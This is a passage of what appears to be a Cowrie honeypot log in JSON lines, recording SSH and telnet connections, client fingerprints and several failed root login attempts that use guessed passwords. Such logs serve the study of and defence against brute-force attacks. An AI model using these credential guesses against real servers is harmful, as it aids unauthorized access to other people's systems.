sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:10.678796Z","src_ip":"20.193.250.100","session":"d87e7003fe0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:11.003661Z","src_ip":"13.71.92.229","session":"ec3da1374283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"model","message":"login attempt [root/model] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:11.520111Z","src_ip":"20.193.250.100","session":"d87e7003fe0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:12.724969Z","src_ip":"20.193.250.100","session":"d87e7003fe0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":60226,"dst_ip":"159.203.135.109","dst_port":22,"session":"a202e49be75f","protocol":"ssh","message":"New connection: 62.54.176.203:60226 (159.203.135.109:22) [session: a202e49be75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:16.280254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:16.285801Z","src_ip":"62.54.176.203","session":"a202e49be75f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:16.467177Z","src_ip":"62.54.176.203","session":"a202e49be75f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:18.114863Z","src_ip":"62.54.176.203","session":"a202e49be75f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:19.222077Z","src_ip":"62.54.176.203","session":"a202e49be75f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":42504,"dst_ip":"159.203.135.109","dst_port":22,"session":"77ac34311f51","protocol":"ssh","message":"New connection: 23.249.28.115:42504 (159.203.135.109:22) [session: 77ac34311f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:38.606020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:38.612591Z","src_ip":"23.249.28.115","session":"77ac34311f51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:38.806345Z","src_ip":"23.249.28.115","session":"77ac34311f51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1966","message":"login attempt [root/1966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:39.608238Z","src_ip":"23.249.28.115","session":"77ac34311f51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":32778,"dst_ip":"159.203.135.109","dst_port":22,"session":"dce089d72158","protocol":"ssh","message":"New connection: 82.152.132.24:32778 (159.203.135.109:22) [session: dce089d72158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:39.818015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:39.823025Z","src_ip":"82.152.132.24","session":"dce089d72158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:39.948930Z","src_ip":"82.152.132.24","session":"dce089d72158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159159","message":"login attempt [root/159159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:40.486745Z","src_ip":"82.152.132.24","session":"dce089d72158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:40.802801Z","src_ip":"23.249.28.115","session":"77ac34311f51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:41.615452Z","src_ip":"82.152.132.24","session":"dce089d72158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.60161876678467,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:42.524502Z","src_ip":"152.42.224.71","session":"c8d22b881b14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":41946,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ce2895271f5","protocol":"ssh","message":"New connection: 45.132.125.41:41946 (159.203.135.109:22) [session: 9ce2895271f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:45.715139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:45.720618Z","src_ip":"45.132.125.41","session":"9ce2895271f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:45.823976Z","src_ip":"45.132.125.41","session":"9ce2895271f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq","message":"login attempt [root/qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:46.262083Z","src_ip":"45.132.125.41","session":"9ce2895271f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:47.367067Z","src_ip":"45.132.125.41","session":"9ce2895271f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41904,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb3dff76aa0","protocol":"telnet","message":"New connection: 152.42.224.71:41904 (10.17.0.5:23) [session: 8eb3dff76aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:52.881921Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52748,"dst_ip":"159.203.135.109","dst_port":22,"session":"e75cf539a467","protocol":"ssh","message":"New connection: 176.65.132.129:52748 (159.203.135.109:22) [session: e75cf539a467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:59.047793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:59.052569Z","src_ip":"176.65.132.129","session":"e75cf539a467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:59.137251Z","src_ip":"176.65.132.129","session":"e75cf539a467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53288,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9d528a97e01","protocol":"telnet","message":"New connection: 152.42.224.71:53288 (10.17.0.5:23) [session: b9d528a97e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:01.283207Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53304,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd6c6d802c76","protocol":"telnet","message":"New connection: 152.42.224.71:53304 (10.17.0.5:23) [session: dd6c6d802c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:04.169215Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53734,"dst_ip":"10.17.0.5","dst_port":23,"session":"e191be74b098","protocol":"telnet","message":"New connection: 152.42.224.71:53734 (10.17.0.5:23) [session: e191be74b098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:06.159269Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:07.048541Z","src_ip":"176.65.132.129","session":"e75cf539a467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":50402,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5f9999c35c5","protocol":"ssh","message":"New connection: 101.32.240.31:50402 (159.203.135.109:22) [session: c5f9999c35c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:10.891506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:10.895323Z","src_ip":"101.32.240.31","session":"c5f9999c35c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:11.134825Z","src_ip":"101.32.240.31","session":"c5f9999c35c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":41630,"dst_ip":"10.17.0.5","dst_port":22,"session":"81497908bf02","protocol":"ssh","message":"New connection: 45.162.8.14:41630 (10.17.0.5:22) [session: 81497908bf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:12.007460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:12.015185Z","src_ip":"45.162.8.14","session":"81497908bf02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf12345","message":"login attempt [root/asdf12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:12.121155Z","src_ip":"101.32.240.31","session":"c5f9999c35c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:12.135053Z","src_ip":"45.162.8.14","session":"81497908bf02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53746,"dst_ip":"10.17.0.5","dst_port":23,"session":"99ab878c9901","protocol":"telnet","message":"New connection: 152.42.224.71:53746 (10.17.0.5:23) [session: 99ab878c9901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:12.288284Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"xys","message":"login attempt [root/xys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:12.632671Z","src_ip":"45.162.8.14","session":"81497908bf02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:13.363853Z","src_ip":"101.32.240.31","session":"c5f9999c35c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:13.753549Z","src_ip":"45.162.8.14","session":"81497908bf02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53754,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea7fb3e0ba5d","protocol":"telnet","message":"New connection: 152.42.224.71:53754 (10.17.0.5:23) [session: ea7fb3e0ba5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:15.600720Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53534,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe26db61cea7","protocol":"ssh","message":"New connection: 80.94.92.184:53534 (10.17.0.5:22) [session: fe26db61cea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:20.544898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:20.577357Z","src_ip":"80.94.92.184","session":"fe26db61cea7","protocol":"ssh"}
